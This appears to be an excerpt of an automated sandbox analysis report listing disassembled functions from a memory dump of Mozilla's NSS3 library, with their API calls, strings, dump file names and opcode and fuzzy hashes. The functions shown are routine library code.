Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: 762db7eeed6b627a0644191102a295cd2b6fc2657f42a37f9b07478436ac35b2
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: 05213476B022096FFB004EA6DE88E6677989F80348F244134ED1897E62EB21DD14C2F1

Function 6C76AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C763FFF,00000000,?,?,?,?,?,6C761A1C,00000000,00000000), ref: 6C76ADA7

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C763FFF,00000000,?,?,?,?,?,6C761A1C,00000000,00000000), ref: 6C76ADB4

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C763FFF,?,?,?,?,6C763FFF,00000000,?,?,?,?,?,6C761A1C,00000000), ref: 6C76ADD5

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8894B0,?,?,?,?,?,?,?,?,6C763FFF,00000000,?), ref: 6C76ADEC

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C763FFF), ref: 6C76AE3C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 47e45cb59aa0f44ba4c2357b2473bee40c884205ba91af4c7fc5c937ed89ffda
Instruction ID: 6f5e193943831523e634f50845f0dbb87be9f968f195fdf6bb3b493b2451fd23
Opcode Fuzzy Hash: 47e45cb59aa0f44ba4c2357b2473bee40c884205ba91af4c7fc5c937ed89ffda
Instruction Fuzzy Hash: 9E115671E002156BE7109A6A9E49BBF73AC9F9135CF044638EC1996B41FB20E95882E3

Function 6C7C26A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6C7C26DD

Part of subcall function 6C7C5DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C7C5E08
Part of subcall function 6C7C5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7C5E3F
Part of subcall function 6C7C5DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C7C5E5C
Part of subcall function 6C7C5DE0: free.MOZGLUE(00000000), ref: 6C7C5E7E
Part of subcall function 6C7C5DE0: free.MOZGLUE(00000000), ref: 6C7C5E97
Part of subcall function 6C7C5DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6C7C5EA5
Part of subcall function 6C7C5DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C7C5EBB
Part of subcall function 6C7C5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7C5ECB
Part of subcall function 6C7C5DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C7C5EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6C7C26F8

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

free.MOZGLUE(00000000), ref: 6C7C3434
free.MOZGLUE(?), ref: 6C7C3448
free.MOZGLUE(?), ref: 6C7C345C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: 04fb852505b3064cf7eed3988a6617d93ab5b3f76bdd74171350b1a2cfbe234b
Instruction ID: 9b02f62445a13135d62b01ec9c6ec2cffbbd703b0d67c1815998892fc358b0e0
Opcode Fuzzy Hash: 04fb852505b3064cf7eed3988a6617d93ab5b3f76bdd74171350b1a2cfbe234b
Instruction Fuzzy Hash: 6011C3B1B001199FDB11DF68DC85AEA73B8FF01354F048479E85997641EB319A54CBE2

Function 6C7F04C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C7F461B,-00000004), ref: 6C7F04DF
TlsGetValue.KERNEL32(?,00000000,?,6C7F461B,-00000004), ref: 6C7F0510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6C7F0520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C7F461B,-00000004), ref: 6C7F0534
GetLastError.KERNEL32(?,6C7F461B,-00000004), ref: 6C7F0543

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 11c33186edcc49452cd2420009a8b98d0a703c932a51cdac26aff5e6474bd33c
Instruction ID: f2cbe53d5d9e47a860b9a4c887f6fe027ab530efe15e6d6679db5131ed01d55e
Opcode Fuzzy Hash: 11c33186edcc49452cd2420009a8b98d0a703c932a51cdac26aff5e6474bd33c
Instruction Fuzzy Hash: 31115770B041815BDB126A388E88F6A3765AF0131CF600A34E435C3B91EB70E146CBA0

Function 6C778FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C780710), ref: 6C778FF1
PR_CallOnce.NSS3(6C8C2158,6C779150,00000000,?,?,?,6C779138,?,6C780710), ref: 6C779029
calloc.MOZGLUE(00000001,00000000,?,?,6C780710), ref: 6C77904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C780710), ref: 6C779066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C780710), ref: 6C779078

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 55ab394c49da942fa80ccaa6c9fb5fc69c179b20cf9dce5cf963e6511fd3650d
Instruction ID: 888b060eb1512bf768bdcc5fcd5c914bc5ef499fa0d786d7ee95ade75989faa3
Opcode Fuzzy Hash: 55ab394c49da942fa80ccaa6c9fb5fc69c179b20cf9dce5cf963e6511fd3650d
Instruction Fuzzy Hash: EB11216171221A57EF301AADAE08A6A72A8EB927ACF400431FC84C2B81F757CD54C3F5

Function 6C762750 Relevance: 7.6, APIs: 5, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,00000000,00000000,?,?,6C7CCBA2,00000000,00000000), ref: 6C762765
SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C7CCBEA,00000000,00000000), ref: 6C762783
CERT_CopyName.NSS3(00000000,0000000C,6C7CCC4A,?,?,?,00000000,00000000), ref: 6C76279F
SECITEM_CopyItem_Util.NSS3(00000000,00000014,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7627BA
PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000), ref: 6C7627D2

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CopyUtil$Item_$Alloc_ArenaErrorNameValue
String ID:
API String ID: 325484714-0
Opcode ID: 0fc6037d220975863a667b8beee6feb332bc23505dc64b7418f85d60b42de3f2
Instruction ID: 93a430590d81f16de3ce631f6d00a720d01dd38fd4f5c2006809c8bd201bd081
Opcode Fuzzy Hash: 0fc6037d220975863a667b8beee6feb332bc23505dc64b7418f85d60b42de3f2
Instruction Fuzzy Hash: 1111E1AAA003056FE7009A379D88FA7B35C9F9475CF044639EE0987A42FB71E5498271

Function 6C78CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C7A1E10: TlsGetValue.KERNEL32 ref: 6C7A1E36
Part of subcall function 6C7A1E10: EnterCriticalSection.KERNEL32(?,?,?,6C77B1EE,2404110F,?,?), ref: 6C7A1E4B
Part of subcall function 6C7A1E10: PR_Unlock.NSS3 ref: 6C7A1E76

free.MOZGLUE(?,6C78D079,00000000,00000001), ref: 6C78CDA5
PK11_FreeSymKey.NSS3(?,6C78D079,00000000,00000001), ref: 6C78CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C78D079,00000000,00000001), ref: 6C78CDCF
DeleteCriticalSection.KERNEL32(?,6C78D079,00000000,00000001), ref: 6C78CDE2
free.MOZGLUE(?), ref: 6C78CDE9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4c4285f282f34275bb232d1ae558a23f70419e7f778dec64e9be7407d940de14
Instruction ID: 5ada9ea6e8613d34af22f0be3305cab254d8593b7d9cadd29bd945b1140ad84e
Opcode Fuzzy Hash: 4c4285f282f34275bb232d1ae558a23f70419e7f778dec64e9be7407d940de14
Instruction Fuzzy Hash: E511C6B6B02111BBDB00AFA5EE49996772CFF0425E7140231EA0997E01E731E424C7F1

Function 6C7F2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F2CEC

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_EnterMonitor.NSS3(?), ref: 6C7F2D02
PR_EnterMonitor.NSS3(?), ref: 6C7F2D1F
PR_ExitMonitor.NSS3(?), ref: 6C7F2D42
PR_ExitMonitor.NSS3(?), ref: 6C7F2D5B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 147225aad93528d22f7b7838c94b3715161403cc7f6bb78999dafa3829458b9c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: D7012BB1A406409BE7309E29FD85BC7B7A1EF41318F004935E86D86711D236F416C7A3

Function 6C7F2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F2D9C

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_EnterMonitor.NSS3(?), ref: 6C7F2DB2
PR_EnterMonitor.NSS3(?), ref: 6C7F2DCF
PR_ExitMonitor.NSS3(?), ref: 6C7F2DF2
PR_ExitMonitor.NSS3(?), ref: 6C7F2E0B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8f820d1a2d8dc663d4c9f3d29f3e48a4fe744ef271d5f32565fc98fd62ea4f26
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: EA01C8B1A402445BE7309E29FD89FC7B7A5EF41318F004835E86986B12D636F41686E3

Function 6C78AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C773090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C78AE42), ref: 6C7730AA
Part of subcall function 6C773090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7730C7
Part of subcall function 6C773090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7730E5
Part of subcall function 6C773090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C773116
Part of subcall function 6C773090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C77312B
Part of subcall function 6C773090: PK11_DestroyObject.NSS3(?,?), ref: 6C773154
Part of subcall function 6C773090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7699FF,?,?,?,?,?,?,?,?,?,6C762D6B,?), ref: 6C78AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7699FF,?,?,?,?,?,?,?,?,?,6C762D6B,?), ref: 6C78AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C762D6B,?,?,00000000), ref: 6C78AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C762D6B,?,?,00000000), ref: 6C78AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C762D6B,?,?), ref: 6C78AEA3

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 085f7ffdaad02198e071fa41095863282fcb0c9a5cf08382aec1dff48d49c17d
Instruction ID: ff6677b4983e6d0d51515ba11741579a7381703407e9e26e67550528b0f962d4
Opcode Fuzzy Hash: 085f7ffdaad02198e071fa41095863282fcb0c9a5cf08382aec1dff48d49c17d
Instruction Fuzzy Hash: A701F46AB0201057E711A12CAF8FAAB315C8B97A6CF080831EA06D7B81FA21D90542F3

Function 6C87ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C87A6D8), ref: 6C87AE0D
free.MOZGLUE(?), ref: 6C87AE14
DeleteCriticalSection.KERNEL32(6C87A6D8), ref: 6C87AE36
free.MOZGLUE(?), ref: 6C87AE3D
free.MOZGLUE(00000000,00000000,?,?,6C87A6D8), ref: 6C87AE47

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 25c198e7698fe01171107cc897e6412061f8421e8009d44531da157d1e7e7a15
Instruction ID: 31f9d8065550c634680d89a6fcc892bd3a2403bb6278954bb687770df158237d
Opcode Fuzzy Hash: 25c198e7698fe01171107cc897e6412061f8421e8009d44531da157d1e7e7a15
Instruction Fuzzy Hash: EFF096B6201A01A7CA30DF69D80895B7778BF867797140338F52A93942E731E115C7E9

Function 6C6F6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C6F6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F6D20
%s at line %d of [%.10s], xrefs: 6C6F6D2F
database corruption, xrefs: 6C6F6D2A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c8d7582fc37e00bddf223af36cd093728f3f281e229e8fcfbcead61001f3a688
Instruction ID: 35b81d30577d67b157294a5e1862ff70c9ca35b41328508b227ab270354546ec
Opcode Fuzzy Hash: c8d7582fc37e00bddf223af36cd093728f3f281e229e8fcfbcead61001f3a688
Instruction Fuzzy Hash: FD2124306043049BC320CF19C941B9AB7F3AF85308F14892DD8699BF51E371F94687AA

Function 6C82CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C82CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C82CC7B), ref: 6C82CD7A
Part of subcall function 6C82CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C82CD8E
Part of subcall function 6C82CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C82CDA5
Part of subcall function 6C82CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C82CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C82CCB5
memcpy.VCRUNTIME140(6C8C14F4,6C8C02AC,00000090), ref: 6C82CCD3
memcpy.VCRUNTIME140(6C8C1588,6C8C02AC,00000090), ref: 6C82CD2B

Part of subcall function 6C749AC0: socket.WSOCK32(?,00000017,6C7499BE), ref: 6C749AE6
Part of subcall function 6C749AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7499BE), ref: 6C749AFC

Part of subcall function 6C750590: closesocket.WSOCK32(6C749A8F,?,?,6C749A8F,00000000), ref: 6C750597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C82CCB0

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: dd8b4de77dde85b855166478ec3b72ffe05d4cdad976279caf91c00a47e6e02c
Instruction ID: afe95a54c694dacf82e9ad3056a96cfd3fb7a17adf003949d5c1598875138392
Opcode Fuzzy Hash: dd8b4de77dde85b855166478ec3b72ffe05d4cdad976279caf91c00a47e6e02c
Instruction Fuzzy Hash: 2A1175F1B002409EEB309F59CB8AB563BA8934631CF501839E4058BB41F775C518CBE2

Function 6C792520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6C792538
